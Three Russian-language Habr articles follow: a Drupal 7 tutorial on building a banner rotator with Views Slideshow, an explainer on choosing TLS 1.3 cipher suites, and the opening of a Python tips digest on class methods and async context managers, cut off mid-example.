#### Реализация
##### Шаг 1. Модули.
Предполагается что Drupal 7 установлен в стандартной комплектации и все базовые модули типо Field UI включены.
Также нужно скачать и установить следующие модули:
* Image. Входит в стандартную комплектацию, нужно просто включить.
* Link — [drupal.org/project/link](http://drupal.org/project/link)
* Weight — [drupal.org/project/weight](http://drupal.org/project/weight)
* Views — [drupal.org/project/views](http://drupal.org/project/views). Также не забудьте включить Views UI.
* Views Slideshow — [drupal.org/project/views\_slideshow](http://drupal.org/project/views_slideshow)
* Views Slideshow: Cycle. Входит в поставку Views Slideshow, нужно просто включить.
Также будет необходимо скачать и установить все зависимости вышеупомянутых модулей, о которых Вам сообщит Drupal.
##### Шаг 2. Создание типа материала для баннера.
Для баннера на странице admin/structure/types создаем новый тип материала. Каждый материал данного типа будет являться отдельным баннером.
Далее идем на страницу управления полями и создаем следующие поля:
* Изображение (field\_image) — поле типа «Изображение». Будет хранить собственно картинку нашего баннера, поэтому имеет смысл сделать его обязательным для заполнения.
* Ссылка (field\_link) — поле типа «Ссылка». Будет хранить ссылку для перехода по баннеру.
* Описание (field\_description) — поле типа «Текстовая область». Будет хранить короткую аннотацию для баннера, что позволит избежать нанесения оной на баннер в графическом редакторе.
Ну и предполагается, что поле «Заголовок» модуль node добавил автоматически.
##### Шаг 3. Создание представления (view).
Теперь перейдем собственно к созданию вьюхи, которая все это будет отображать.
Идем сюда admin/structure/views и добавляем новую вьюху. Я назвал её «Front Rotator» (front\_rotator).
Далее:
1. Добавляем display типа «блок».
2. Меняем формат на Slideshow.
3. В графе «показать» выбираем Fields.
4. В графу поля добавляем: Заголовок, Описание, Изображение, Ссылка, Вес.
5. В качестве фильтров выбираем: материал должен быть опубликован (чтобы была возможность выводить баннер из ротации), тип материала — выбираем наш тип материала для баннеров.
6. В качестве сортировки указываем сортировку по весу материала.
В итоге должно получиться что-то типа этого:
Теперь перейдем к настройке формата Slideshow (Панель «Формат», пункт «Slideshow», ссылка «Настройки»).
1. В качестве «Slideshow Type» выбираем «Cycle».
2. В формате Slideshow предусмотрено 2 зоны для размещения элементов навигации. Формально они называются «низ»и «верх». Однако, это лишь формальность. У меня например нижняя зона на самом деле располагатся слева. Так что реально важно знать и принимать во внимание только то, что планируя шаблон для ротатора мы можем оперировать двумя различными зонами для размещения элементов навигации и управлять ими через настройки формата вьюхи.
3. Для нашего ротатора отмечаем галочкой пункт «Навигатор» в нижней зоне, в качестве «Pager Type» выбираем «Fields» и отмечаем в «Pager fields» поле «Заголовок».
Витоге должно получиться что-то типа того:
##### Шаг 4. Темизация.
Теперь пришло время разобраться, как изменить стиль отображения нашего ротатора.
Формально Views Slideshow обладает системой стилей, однако я решил просто добавить пару шаблонов в тему сайта, найдя данное решении более гибким, быстрым и удобным.
В тему было бавлено два шаблона:
view-slideshow.tpl.php — отвечает за общий вид ротатора и отображение зон. Был отредактирован следующим образом:
```
php if (!empty($top\_widget\_rendered)): ?
php print $top\_widget\_rendered; ?
php endif; ?
php print $slideshow; ?
php if (!empty($bottom\_widget\_rendered)): ?
php print $bottom\_widget\_rendered; ?
php endif; ?
```
При этом, верхнюю зону вообщем-то можно выкинуть т.к. выводиться в нее ничего не будет.
Также, если планируется делать разные ротаторы внутри одного сайта, не помешает создать для каждого шаблон со специфичным именем.
Второй шаблон views-view-fields--front-rotator.tpl.php отвечает за вывод каждого отдельного баннера внутри ротатора. У меня он выглядит так:
```
php if(isset($fields['field\_link']) && !empty($fields['field\_link']-content)): ?>php print $fields['field\_link']-content ?>php endif; ?
php if(isset($fields['field\_description']) && !empty($fields['field\_description']-content)): ?>php print $fields['field\_description']-content ?>php endif; ?
php print $fields['field\_image']-content ?>
```
Как видно, в каждом баннере выводятся изображение, описание и ссылка.
При этом, порядок вывода полей в моем случае не играет большой роли т.к. «дивы» с полями «Описание» и «Ссылка» позиционруются абсолютно и «висят» над изображением.
Соотвественно в теме был создан CSS файл, для оформления всего вышеуказанного:
```
#block-views-front-rotator-block{
background-color: rgb(40, 40, 40);
width: 1000px;
height: 307px;
}
#views_slideshow_cycle_main_front_rotator-block{
position: absolute;
margin-left: 261px;
}
.view-front-rotator{
border: 4px solid rgb(50, 50, 50);
border-left:none;
background-color: rgb(40, 40, 40);
}
.view-front-rotator .title{
position:absolute;
margin-top: 245px;
margin-left: 565px;
padding: 12px;
background-color: #A61D31;
border: 5px solid #65111d;
white-space: nowrap;
}
.view-front-rotator .title A{
text-decoration:none;
font-size:1.2em;
color: white;
}
.views_slideshow_main{
float:right;
margin-bottom: -3px;
}
.views-slideshow-controls-bottom{
background-color: rgb(40, 40, 40);
height: 300px;
position: absolute;
}
.views_slideshow_pager_field_item{
width: 241px;
padding: 0 10px;
line-height: 45px;
cursor:hand;
cursor:pointer;
color: #FFFFFF;
font-size: 1.1em;
font-weight: bold;
}
.views_slideshow_pager_field_item.active{
background-color: #A61D31;
color: white;
}
.view-front-rotator .description{
position:absolute;
width: 705px;
background-image: url('images/bt_black_70.png');
color: white;
padding-left: 15px;
padding-right: 15px;
padding-bottom: 10px;
font-family: Tahoma;
font-size: 14px;
}
.view-front-rotator .description P:last-child{
padding-bottom: 0;
margin-bottom: 0;
}
.view-front-rotator .description H2{
margin-bottom: 0;
color: #ff3b3b;
}
.view-front-rotator .description P{
margin-top: 5px;
}
```
Из особенностей CSS-ки отмечу лишь то, что в качестве фона под описанием используется не прозрачный цвет заданный через rgba или аналогичным способом, а полупрозрачная картинка в формате png.
Суть в том, что такой способ является наиболее кроссбраузерным и поддерживается IE начиная с 7 версии. В IE 6 и ниже фон под описанием будет черным, что вообщем-то тоже приемлимо вписывается в концепцию дизайна.
Ну вот впринципе и все. Теперь можно поместить блок с ротатором в нужный регион страницы и через стандартный интерфейс материалов добавлять новые баннеры. Сортировка будет происходить по полю weight доступному при редактировании материала. Отключить тот или иной баннер можно просто сняв его с публикации.
P.S. Статья писалась в ретроспективном стиле, т.е. уже сделав ротатор я вспоминал как его делал :). Всвязи с этим, или по причине очевидности их для меня, я мог случайно опустить те или иные шаги. Если что-то будет не получаться или покажется непонятным, жду Ваших вопросов в комментариях к статье. | https://habr.com/ru/post/136377/ | null | ru | null |
# Заметки по выбору шифров для TLS 1.3
После [дискуссии](https://www.dcbase.org/hub-history.txt) с коллегами о TLS 1.3 в целом и прикладном использовании идущих в комплекте с ним шифров я решил кратко изложить основы, которые не худо было бы знать любому разработчику. Мне хотелось бы показать, на какую нишу направлен каждый из пяти шифров и как конкретно применяются содержащиеся в них хеш-функции.
В этой статье не будут освещаться детали согласования ключей в мере большей, нежели та, что необходима для описания установки безопасного соединения как такового. Я не буду рассуждать о протоколе Диффи-Хеллмана и эллиптических кривых, сертификатах, распределённых ключах и о тому подобном. Если возникнет необходимость, эти вопросы будут рассмотрены в будущем.
### Выбор шифра
Первым делом давайте разберёмся, как две стороны, коммуницирующие посредством TLS 1.3, определяют, какой конкретно шифр при этом использовать. Этот процесс известен как процесс согласования шифров и является частью "рукопожатия" или, иначе говоря, первичного взаимодействия двух участников. Помимо этого происходит сразу несколько других вещей, но, как я и говорил выше, они не рассматриваются в данной статье.
Чтобы произвести рукопожатие, сторона, выступающая в качестве клиента, отправляет сообщение "ClientHello", которое помимо прочего содержит список поддерживаемых шифров в порядке от наиболее предпочтительного до наименее предпочтительного.
Как только сторона, выступающая в качестве сервера, получает эту информацию, она должна выбрать, какой именно шифр использовать (или закрыть соединение ввиду того, что не поддерживается ни один из предложенных). Это происходит с помощью сообщения, известного как "ServerHello". За ним следует обмен данными для старта зашифрованного соединения, называемый "ChangeCipherSpec". Весь процесс обычно происходит в чистом тексте и выглядит следующим образом:
1. **Клиент:** Привет! Я предпочитаю шифрA, ну или шифрБ или шифрЦ.
2. **Сервер:** Годится! Давай-ка возьмём шифрБ. Переключаюсь на него. (Следуют зашифрованные данные).
3. **Клиент:** Добро! Тож переключаюсь на него. (Следуют зашифрованные данные).
Собственно, если клиент по какой-то причине ограничен в выборе шифра, он может сообщить это сразу; и если сервер не решит забраковать выбор клиента, шифр будет использован (если поддерживается, конечно). Это полезно не столько с точки зрения безопасности, сколько для производительности, поскольку ни клиент, ни сервер изначально не должны анонсировать шифры, которые они считают небезопасными.
### Доступные шифры
[RFC 8446](https://tools.ietf.org/html/rfc8446#appendix-B.4) описывает TLS 1.3 в совокупности с 5 доступными шифронаборами. Существует также [RFC 8998](https://tools.ietf.org/html/rfc8998), который определяет ещё два обязательных в Китае шифра (известных как ShangMi) и ещё два черновика, [один](https://datatracker.ietf.org/doc/draft-smyshlyaev-tls13-gost-suites) из которых добавляет поддержку ГОСТовских шифров, а [другой](https://datatracker.ietf.org/doc/draft-camwinget-tls-ts13-macciphersuites/) добавляет режимы "только аутентификация". Я опишу работу пяти "оригинальных" шифров, поскольку остальные либо экспериментальные, либо используются редко.
Итак, пять шифров, которые поддерживает TLS 1.3:
**TLS\_AES\_128\_GCM\_SHA256**
Блочный шифр AES в режиме GCM со 128-битным ключом и хеш-функцией SHA-256
**TLS\_AES\_256\_GCM\_SHA384**
Блочный шифр AES в режиме GCM с 256-битным ключом и хеш-функцией SHA-384
**TLS\_CHACHA20\_POLY1305\_SHA256**
[Потоковый](https://ru.wikipedia.org/wiki/%D0%9F%D0%BE%D1%82%D0%BE%D0%BA%D0%BE%D0%B2%D1%8B%D0%B9_%D1%88%D0%B8%D1%84%D1%80) шифр ChaCha20 с 256-битным ключом, аутентификатором Poly1305 и хеш-функцией SHA-256.
**TLS\_AES\_128\_CCM\_SHA256**
Блочный шифр AES в режиме CCM со 128-битным ключом и хеш-функцией SHA-256
**TLS\_AES\_128\_CCM\_8\_SHA256**
Блочный шифр AES в режиме CCM со 128-битным ключом, ограниченными до 8 байт тэгами аутентификации и хеш-функцией SHA-256
### Шифры и хеши
Вы могли заметить, что каждый раз мы упоминаем шифр в совокупности с хешем (а не, например, с механизмом согласования ключей). Это потому, что они связаны, но не так, как может показаться на первый взгляд.
В TLS 1.3 шифры служат как раз тому, что известно под именованием [AEAD](https://ru.wikipedia.org/wiki/AEAD-%D1%80%D0%B5%D0%B6%D0%B8%D0%BC_%D0%B1%D0%BB%D0%BE%D1%87%D0%BD%D0%BE%D0%B3%D0%BE_%D1%88%D0%B8%D1%84%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F) (аутентифицированное шифрование с присоединёнными данными). Это означает, что они делают сразу несколько вещей одновременно:
* Шифруют данные с помощью ключа. Это сохраняет конфиденциальность данных, то есть гарантирует, что никто кроме владельца ключа не сможет их прочесть.
* Аутентифицируют данные с помощью ключа. Это сохраняет целостность, то есть гарантирует, что в данных не было зафиксировано никаких изменений (добавление или удаление). Аутентификация также гарантирует, что только обладатель ключа шифрования может отправить данные, которые сможет принять вторая сторона.
* Авторизуют (опять же, с помощью ключа) незашифрованные данные. Это даёт те же гарантии, что и в плане целостности и возможности создавать валидные сообщения для любых данных, какие потребуется валидировать. В частности, это полезно, когда нужно удостовериться, что незашифрованные данные, которые определяют свойства зашифрованных данных, не были изменены.
Следует, однако, помнить, что эти шифры не предоставляют репутационных гарантий (то есть гарантий того, что отправитель и обладатель подписи одно и то же лицо) потому как любой владеющий ключом дешифровки может создать новое сообщение, которое будет определено как валидное. В TLS, это, как правило, реализуется другим способом. Так или иначе, поскольку предоставляется конфиденциальность, гарантируется целостность и достоверность равно для зашифрованных и незашифрованных данных, эти шифры явлются идеальным "строительным материалом" для протоколов вроде TLS, которые в целом на всё вышеперечисленное и направлены.
Но если шифр может удовлетворить все возможные нужды, зачем нужен хеш? У него иное назначение. Во-первых, хеш используется, чтобы создать сводку сообщений, которыми уже был произведён обмен. Это, в частности, полезно, если атакующий изменяет любое сообщение – изменится и результат вычисления. Во-вторых, хеш нужен, чтобы извлечь все применённые протоколом ключи из данных обмена (включая и саму сводку). В-третьих, хеш используется, дабы посредством одного из извлечённых ключей удостоверить обе стороны, что не было произведено подделки при генерации тэга аутентификации из сводки обмена сообщениями и что ключи одинаковы на обоих концах.
Как видите, хеш играет важную роль ещё до того, как будет произведён обмен сообщениями. Коль скоро мы знаем, что общаемся с нужным человеком и что не был устроен подлог, мы отправляем данные, используя AEAD шифр. В результате для длительных соединений, когда отправляются значительные объёмы данных, этот последний шифр будет являться одним их главных факторов производительности, которые необходимо учитывать.
Далее я объясню разницу между алгоритмами хеширования и различными шифрами, а также укажу на факторы, определяющие выбор того или иного из них.
### SHA-256
SHA-256 является достаточно старым (2001) алгоритмом хеширования, созданным [NIST](https://ru.wikipedia.org/wiki/%D0%9D%D0%B0%D1%86%D0%B8%D0%BE%D0%BD%D0%B0%D0%BB%D1%8C%D0%BD%D1%8B%D0%B9_%D0%B8%D0%BD%D1%81%D1%82%D0%B8%D1%82%D1%83%D1%82_%D1%81%D1%82%D0%B0%D0%BD%D0%B4%D0%B0%D1%80%D1%82%D0%BE%D0%B2_%D0%B8_%D1%82%D0%B5%D1%85%D0%BD%D0%BE%D0%BB%D0%BE%D0%B3%D0%B8%D0%B9) в качестве альтернативы SHA-1 и MD5 из-за опасений касательно их безопасности. В это же время был объявлен конкурс на создание нового алгоритма (SHA-3).
Данный алгоритм обеспечивает уровень безопасности, эквивалентный 128-битному шифру для большинства задач и, поскольку он оперирует 32 битами даных, достаточно быстр на большинстве архитерктур. Некоторые современные десктопные и серверные процессоры, а также многие криптографические ускорители поддерживают его на аппаратном уровне.
### SHA-384
Как и SHA-256, SHA-384 был представлен в том же стандарте и использует похожий подход.
Однако в отличие от собрата SHA-384 обеспечивает уровень безопасности, эквивалентный 192-битному шифру. SHA-384 оперирует 64 битами данных, и это означает, что он может обработать вдвое больше данных за то же время. Расчёт производится дольше, но на 64-битных процессорах всё равно оказывается быстрее решений, основанных на SHA-256. К тому же в отличие от последнего он отбрасывает 128 бит данных от результата хеширования. Это делает [атаки удлинением сообщения](https://ru.wikipedia.org/wiki/%D0%90%D1%82%D0%B0%D0%BA%D0%B0_%D1%83%D0%B4%D0%BB%D0%B8%D0%BD%D0%B5%D0%BD%D0%B8%D0%B5%D0%BC_%D1%81%D0%BE%D0%BE%D0%B1%D1%89%D0%B5%D0%BD%D0%B8%D1%8F) сложнее, поскольку чтобы обработать эти биты данных, атакующий должен фактически угадать их.
Десктопные и серверные процессоры не имеют специфической поддержки этого алгоритма, а его поддержка среди криптографических ускорителей сильно варьируется по причине необходимости хранить больше информации о состоянии операции и выполняемых действиях.
По итогу SHA-384 более безопасен, нежели SHA-256 (хотя и не в случае применения квантовых компьютеров). Также он быстрее, когда применяется в ПО, исполняемом на 64-битных процессорах, в случае если сообщение достаточно длинное. Но на системах с ускорителями или инструкциями поддержки только для SHA-256 или же без поддержки 64-битных инструкций он будет медленнее последнего.
### 128-битный AES в режиме GCM
В ходе проведённого NIST конкурса на замену ныне устаревшего DES (Data Encryption Standard) был выбран алгоритм Rijndael, впоследствии ставший известным как AES (Advanced Encryption Standard).
AES это [блочный шифр](https://ru.wikipedia.org/wiki/%D0%91%D0%BB%D0%BE%D1%87%D0%BD%D1%8B%D0%B9_%D1%88%D0%B8%D1%84%D1%80); в качестве входных данных он получает ключ шифрования фиксированного размера (128, 192 или 256 бит) и блок данных фиксированного размера (128 бит), а на выходе возвращает зашифрованный блок данных размером 128 бит. Обратный процесс осуществляется аналогично: чтобы получить оригинальный блок данных, понадобится ключ и блок данных, зашифрованный этим ключом.
Однако нужно определиться, что делать с данными, которые имеют размер больше или меньше одного блока, и это как раз то, для чего нужен [режим шифрования](https://ru.wikipedia.org/wiki/%D0%A0%D0%B5%D0%B6%D0%B8%D0%BC_%D1%88%D0%B8%D1%84%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F). В данном случае режим называется GCM, то есть [Galois/Counter Mode](https://ru.wikipedia.org/wiki/Galois/Counter_Mode). Работает он следующим образом:
1. Для генерации достаточно длинной строки двоичных данных перед осуществлением шифрования сообщения используется блочный шифр, шифрующий блоки, содержащие счётчик; и 128-битная строка, необходимая для аутентификации данных.
2. Производится [XOR](https://ru.wikipedia.org/wiki/%D0%98%D1%81%D0%BA%D0%BB%D1%8E%D1%87%D0%B0%D1%8E%D1%89%D0%B5%D0%B5_%C2%AB%D0%B8%D0%BB%D0%B8%C2%BB)-выборка данных для шифровки вместе с ранее зашифрованными блоками-счётчиками. На этом шаге происходит шифрование сообщения.
3. Поверх дополнительных данных, зашифрованных данных и размера обоих вводов применяется "быстрый хеш" под названием GMAC, чтобы сгенерировать 128-битную строку для аутентификации данных. На этом шаге формируется уникальный идентификатор данных.
4. Идентификатор данных шифруется вместе с оставшимся зашифрованным блоком счётчика. Это предотвращает доступ к данным извне.
Дешифровка производится в обратном порядке с учётом сверки хешей (вычисленного и полученного).
Такой подход имеет множество преимуществ. Во-первых, блоки могут быть легко зашифрованы параллельно просто за счёт разного значения счётчиков. Во-вторых, используемый "хеш" может быть сильно упрощён, потому что он уже уникален за счёт использованного ключа. В-третьих, можно применить особый вид хеша (мультипликативный хеш) который тоже может быть запараллелен. Также для больших объёмов данных обычно требуется только один проход (шифрование вообще обычно ресурсоёмкая задача).
В-общем, этот режим шифрования в достаточной степени безопасен и достаточно быстр, особенно если присутствует его аппаратная поддержка. Это актуально для большинства современных десктопных процессоров и некоторых криптографических ускорителей, но не для большинства мобильных устройств или встроенных решений.
### 256-битный AES в режиме GCM
Этот шифр представляет собой в точности то же самое, что и описанный выше, вплоть до использования таких же 128-битных тэгов аутентификации, но с более длинными (256 бит) ключами, дабы удостовериться в соответствии уровня безопасности хеш-функции уровню безопасности ключей; при этом в отличие от других режимов используется SHA-384. Более "тяжеловесные" ключи делают этот шифр несколько более медленным, чем 128-битный. С другой стороны, ключи этого размера дают преимущество, будучи безопасными, даже если будет применён (а перед этим создан) достаточно мощный квантовый компьютер.
### ChaCha20 с аутентификатором Poly1305
В отличие от шифров, описанных ранее, ChaCha20 представляет собой нечто более схожее с хеш-функцией. В частности, ChaCha20 это алгоритм, получающий на вход 512 бит и выводящий 512 бит способом, который делает крайне сложным определение того, каким был ввод, и который гарантирует, что каждый из выведенных битов испытал влияние каждого бита, поданного на вход. Методика: создание блока с 256-битным ключом, 128-битной константой и 128-битной смесью значения счётчика со значением, которое используется только единожды.
В остальном же этот шифр работает схожим с AES GCM образом. Вместо шифрования счётчиков, оные "хешируются" с помощью ChaCha20 функции. Также применяется несколько отличный от GCM хеш с ключом.
1. Используется ChaCha20, чтобы "хешировать" блоки, содержащие счётчик, чтобы, в свою очередь, сгенерировать достаточно длинную строку двоичных данных, чтобы (в свою очередь) зашифровать сообщение с использованием 128-битной строки для аутентификации данных.
2. Производится XOR-выборка данных, которые нужно зашифровать вместе с "хешированными" блоками-счётчиками. На этом шаге происходит шифрование сообщения.
3. Поверх дополнительных данных, зашифрованных данных и размера обоих вводов применяется "быстрая" "хеш-функция" с ключом (отличная от ChaCha20), чтобы сгенерировать 128-битную строку для аутентификации данных. На этом шаге генерируется уникальный идентификатор данных.
4. Идентификатор данных шифруется вместе с оставшимся зашифрованным блоком счётчика. Это предотвращает доступ к данным извне.
Но если AES одобрен NIST и в достаточной мере быстр и безопасен, зачем кому-то может понадобиться ещё один шифр? Причина проста: если AES GCM очень быстр при наличии аппаратной поддержки, он может быть не столь быстр, когда её нет. В противоположность ему, ChaCha20 и Poly-1305 созданы, чтобы быть как можно более быстрыми именно на программном уровне. Они медленнее, но всё же достаточно быстры в сравнении с аппаратно ускоренным AES GCM и ОЧЕНЬ быстры на чисто программном уровне. Иными словами, ChaCha20 в совокупности с Poly1305 лучший выбор при отсутствии поддержки на уровне "железа".
### 128-битный AES в режиме CCM
Как и GCM, ССM представляет собой ещё один режим функционирования блочного шифра AES; его название является сокращением от "счётчик режима CBC-MAC". В свою очередь, [CBC-MAC](https://ru.wikipedia.org/wiki/CBC-MAC) означает [Cipher Block Chaining](https://ru.wikipedia.org/wiki/%D0%A0%D0%B5%D0%B6%D0%B8%D0%BC_%D1%81%D1%86%D0%B5%D0%BF%D0%BB%D0%B5%D0%BD%D0%B8%D1%8F_%D0%B1%D0%BB%D0%BE%D0%BA%D0%BE%D0%B2_%D1%88%D0%B8%D1%84%D1%80%D0%BE%D1%82%D0%B5%D0%BA%D1%81%D1%82%D0%B0) Message Authentication Code. Этот режим сходен с GCM в том, что он использует блок-счётчик вместе с данными в качестве переменной для операции XOR, но применяемая хеш-функция с ключом – особая. В частности, CCM работает следующим образом:
1. С помощью блочного шифра создаётся "хеш" дополнительных данных, шифруемых данных (да, перед их шифрованием) и размеров обоих вводов. Это делается путём включения некоторых добавочных блоков с информацией о том, как "хеш" функция будет работать и "наполнения" для соответствия желаемому размеру блока. Для каждого блока производится XOR-выборка между ранее зашифрованным блоком и данными этого блока в виде обычного текста, и результат шифруется. Тэг аутентификации в этом случае представляет собой 128-битный результат последнего шифрования.
2. Для генерации достаточно длинной строки двоичных данных используется блочный шифр, шифрующий блоки, содержащие счётчик; и 128-битная строка, используемая для аутентификации данных.
3. Производится XOR-выборка данных, которые нужно зашифровать вместе с зашифрованными блоками-счётчиками. На этом шаге происходит шифрование сообщения.
4. Идентификатор данных шифруется вместе с оставшимся зашифрованным блоком-счётчиком. Это предотвращает доступ к данным извне.
Режим CCM имеет изъяны в своём дизайне, например, нужно знать размер шифруемых данных до начала самого процесса шифрования. CCM также требует произвести два цикла шифрования каждого блока данных и ещё одного на каждый блок для аутентификации, что может приводить к серьёзному падению производительности в сравнении с GCM. Наконец, эквивалент хеша, который использует CCM, в отличие от GCM или ChaCha20-Poly1305 не может быть распараллелен. В остальном, CCM столь же безопасен, как и 128-битный режим GCM.
Почему тогда этот режим вообще был добавлен? Ответ прост: некоторые встраиваемые устройства могут не иметь достаточно ресурсов для реализации AES и аппаратной поддержки хешей GCM. Для этих устройств проведение двух шифрований оказывается быстрее, нежели одно шифрование и одно хеширование с ключом. Также, в отличие от других режимов, предлагающих решения вроде OCB, использование этого не затрагивает никакие патенты.
Так или иначе, в openssl этот режим по умолчанию выключен.
### 128-битный AES в режиме CCM и 64-битными тэгами аутентификации
Этот режим схож с описанным выше, но использует только 64 бита "хеша", что является весьма нишевым сценарием, при котором допускается бо́льшая вероятность для атакующего модифицировать пакеты (1 из 264 вместо 1 из 2128) в обмен на отправку на 8 байт меньше данных в каждом пакете. Вообще говоря, это имеет смысл только в очень специфических ситуациях для встраиваемых устройств, где даже эти 8 байт решают. На данный момент [этот шифр не рекомендуется к использованию](https://www6.ietf.org/iesg/minutes/2018/minutes-2018-08-16.txt) и выключен в openssl по умолчанию. Лично я могу рекомендовать его только в том случае, если Вы знаете, что делаете.
### Идеальный случай
В идеальном случае клиенты игнорировали бы шифры, которые они считают небезопасными, а после выстраивали бы их в порядке предпочтения уровня безопасности и скорости. Сервера бы использовали этот список для выбора лучшего шифра в соответствии с собственными ожиданиями и ограничениями.
Например, клиент без специфической аппаратной поддержки на первое место поставил бы ChaCha20-Poly1305 и сервер наверняка учёл бы это. С другой стороны, современный десктопный компьютер может избрать и 128-битный AES в режиме GCM, а сервер, не имеющий "железной" поддержки для него всё равно мог бы выбрать ChaCha20-Poly1305. Тот же первый клиент, соединяясь с сервером, имеющим на аппаратном уровне поддержку 128-битного AES в режиме GCM, был бы вынужден использовать именно его.
Иными словами, в случае файлообменной сети было бы так:
**Клиент-параноик:**
Только `TLS_AES_256_GCM_SHA384` и, возможно,`TLS_CHACHA20_POLY1305_SHA256` в порядке предпочтения скорости работы.
**Клиент без аппаратной поддержки:**`TLS_CHACHA20_POLY1305_SHA256` `TLS_AES_128_GCM_SHA256` `TLS_AES_256_GCM_SHA384` и, возможно,`TLS_AES_128_CCM_SHA256`именно в таком порядке. В соответствии с требованиями безопасности 256-битный AES может идти в этом списке раньше.
**Клиент с аппаратной поддержкой AES:**
`TLS_AES_128_CCM_SHA256` `TLS_CHACHA20_POLY1305_SHA256` `TLS_AES_128_GCM_SHA256` и `TLS_AES_256_GCM_SHA384`именно в таком порядке. В соответствии с требованиями безопасности 256-битный AES может идти в этом списке раньше.
**Клиент с аппаратной поддержкой AES GCM (например, AES-NI and PCLMULQDQ):**
`TLS_AES_128_GCM_SHA256` `TLS_AES_256_GCM_SHA384` `TLS_CHACHA20_POLY1305_SHA256` и, возможно,`TLS_AES_128_CCM_SHA256`именно в таком порядке. В соответствии с требованиями безопасности 256-битный AES может идти в этом списке раньше.
**Сервер-параноик:**
Только `TLS_AES_256_GCM_SHA384` и, возможно,`TLS_CHACHA20_POLY1305_SHA256`. ChaCha20 выбирается на основании предпочтений клиента или скорости работы сервера.
**Сервер без аппаратной поддержки:** `TLS_CHACHA20_POLY1305_SHA256` `TLS_AES_128_GCM_SHA256` `TLS_AES_256_GCM_SHA384` и, возможно,`TLS_AES_128_CCM_SHA256`именно в таком порядке. В соответствии с требованиями безопасности 256-битный AES может идти в этом списке раньше.
**Сервер с аппаратной поддержкой только AES:**
`TLS_CHACHA20_POLY1305_SHA256` в случае предпочтения клиента, или же `TLS_AES_128_CCM_SHA256`если поддерживается клиентом. Ну или `TLS_CHACHA20_POLY1305_SHA256` `TLS_AES_128_GCM_SHA256` `TLS_AES_256_GCM_SHA384`именно в таком порядке. В соответствии с требованиями безопасности 256-битный AES может идти в этом списке раньше.
**Сервер с аппаратной поддержкой AES GCM:** основывается на предпочтениях клиента. 256-битный AES может иметь приоритет.
Обратите внимание, я намеренно избегаю упоминаний шифра `TLS_AES_128_CCM_8_SHA256`поскольку если бы его использование было необходимо, это было бы определено заранее.
Итоги представим в виде таблицы:
| | | | |
| --- | --- | --- | --- |
| **Клиент\Сервер** | **Без аппаратной поддержки** | **Только AES** | **AES GCM** |
| **Без аппаратной поддержки** | ChaCha20 | ChaCha20 | ChaCha20 |
| **Только AES** | ChaCha20 | CCM | CCM |
| **AES GCM** | ChaCha20 | CCM | GCM |
Как видно, выбор всегда останавливается на опции, обеспечивающей лучшую производительность для стороны, испытывавшей бы бо́льшую нагрузку в случае, если бы был выбран более производительный (для одной из сторон) вариант.
В сценарии "клиент-сервер" приоритет производительности сервера может быть критичен. И хотя выгоды GCM могут быть не столь уж существенны (поскольку скорость работы CCM варьируется от реализации к реализации) они могут давать разный результат в зависимости от самого сервиса. Тогда таблица выглядела бы так:
| | | | |
| --- | --- | --- | --- |
| **Клиент\Сервер** | **Без аппаратной поддержки** | **Только AES** | **AES GCM** |
| **Без аппаратной поддержки** | ChaCha20 | CCM | GCM |
| **Только AES** | ChaCha20 | CCM | GCM |
| **AES GCM** | ChaCha20 | CCM | GCM |
Возможны и другие подходы, но, убедившись, что клиент посредством порядка шифров выражает свои ожидания производительности от различных алгоритмов, мы можем удостовериться, что сервер всегда сделает максимально разумный выбор с учётом нужд и возможностей обеих сторон.
### Выводы
Как было показано, хотя при использовании TLS 1.3 за сервером всегда будет последнее слово в выборе конкретного алгоритма, клиент имеет возможность выразить свои предпочтения. Он должен реализовать эту возможность, чтобы указать на ожидаемый уровень безопасности и производительности, дабы сервер мог произвести информированный выбор. | https://habr.com/ru/post/554070/ | null | ru | null |
# Подборка @pythonetc, январь 2019
Это восьмая подборка советов про Python и программирование из моего авторского канала @pythonetc.
Предыдущие подборки:
* [Декабрь 2018](https://habr.com/ru/company/mailru/blog/436322/)
* [Ноябрь 2018](https://habr.com/ru/company/mailru/blog/432628/)
* [Октябрь 2018](https://habr.com/company/mailru/blog/429186/)
* [Сентябрь 2018](https://habr.com/company/mailru/blog/425125/)
* [Август 2018](https://habr.com/company/mailru/blog/422789/)
* [Июль 2018](https://habr.com/company/mailru/blog/419025/)
* [Июнь 2018](https://habr.com/company/mailru/blog/416605/)
Два неявных метода классов
--------------------------
Для создания метода класса нужно использовать декоратор `@classmethod`. Потом этот метод можно вызывать напрямую из класса, а не из его экземпляров, и он будет принимать класс в качестве первого аргумента (его обычно вызывают `cls`, а не `self`).
Однако в модели данных Python есть два неявных метода класса: `__new__` и `__init_subclass__`. Они работают так, словно тоже декорированы с помощью `@classmethod`, хотя это и не так (`__new__` создаёт новые экземпляры класса, а `__init_subclass__` является хуком, который вызывается при создании производного класса).
```
class Foo:
def __new__(cls, *args, **kwargs):
print(cls)
return super().__new__(
cls, *args, **kwargs
)
Foo() #
```
Асинхронные менеджеры контекста
-------------------------------
Если вы хотите, чтобы менеджер контекста приостанавливал корутину при входе или выходе из контекста, то пользуйтесь асинхронными менеджерами. Тогда вместо вызова `m.__enter__()` и `m.__exit__()` Python будет делать await на `m.__aenter__()` и `m.__aexit__()` соответственно.
Асинхронные менеджеры контекста нужно применять с синтаксисом `async with`:
```
import asyncio
class Slow:
def __init__(self, delay):
self._delay = delay
async def __aenter__(self):
await asyncio.sleep(self._delay / 2)
async def __aexit__(self, *exception):
await asyncio.sleep(self._delay / 2)
async def main():
async with Slow(1):
print('slow')
loop = asyncio.get_event_loop()
loop.run_until_complete(main())
```
Определяем асинхронный менеджер контекста
-----------------------------------------
Начиная с Python 3.7 `contextlib` предоставляет декоратор `asynccontextmanager`, который позволяет определять асинхронный менеджер контекста таким же образом, как это делает `contextmanager`:
```
import asyncio
from contextlib import asynccontextmanager
@asynccontextmanager
async def slow(delay):
half = delay / 2
await asyncio.sleep(half)
yield
await asyncio.sleep(half)
async def main():
async with slow(1):
print('slow')
loop = asyncio.get_event_loop()
loop.run_until_complete(main())
```
В более старых версиях языка вы можете использовать `@asyncio_extras.async_contextmanager`.
Унарный оператор «плюс»
-----------------------
В Python нет оператора `++`, вместо него используется `x += 1`. Но при этом синтаксис `++x` является валидным (а `x++` — уже нет).
Хитрость в том, что в Python есть унарный оператор «плюс», и `++x` на самом деле является `x.__pos__().__pos__()`. Этим можно злоупотребить и заставить `++` работать как инкрементирование (но я бы не рекомендовал так делать):
```
class Number:
def __init__(self, value):
self._value = value
def __pos__(self):
return self._Incrementer(self)
